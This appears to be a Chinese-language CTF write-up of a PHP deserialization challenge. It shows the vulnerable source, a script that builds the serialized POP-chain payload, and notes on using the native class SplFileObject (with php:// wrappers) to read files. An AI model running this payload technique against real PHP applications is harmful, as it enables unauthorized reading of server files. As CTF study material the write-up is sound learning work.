反序列化题目上来就是经典源码展示
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
| <?php
error_reporting(0);
highlight_file(__FILE__);
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}
class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}
class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}
if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
?>
|
这道题分析不是很难我主要是想记录一下原生类的问题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| <?php
class teacher{
public $name = 'ing';
public $rank = 'department';
private $salary;
}
class classroom{
public $name = 'one class';
public $leader;
}
class school{
public $department;
public $headmaster = 'ong';
}
$a = new school();
$a->department = new classroom();
$a->department->leader = new teacher();
$b = base64_encode(serialize($a));
echo $b;
?>
|
这道题打开一眼就能看见两个可控的POST传参变量，pop链也不难所以就直接展示payload了
这道题目用到了一个php的原生类叫SplFileObject
这个类的作用是读取文件
根据官方文档:
- SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口，可以用于对文件内容的遍历、查找、操作
举个例子
我创建了一个a.php内容是
接下来我在同目录下创建了一个php文件利用原生类读取a.php
1
2
3
4
| <?php
$a = new SplFileObject('a.php');
echo $a;
?>
|
结果就是只回显了第一行的内容
这个时候就只能使用php伪协议来读取a.php的内容了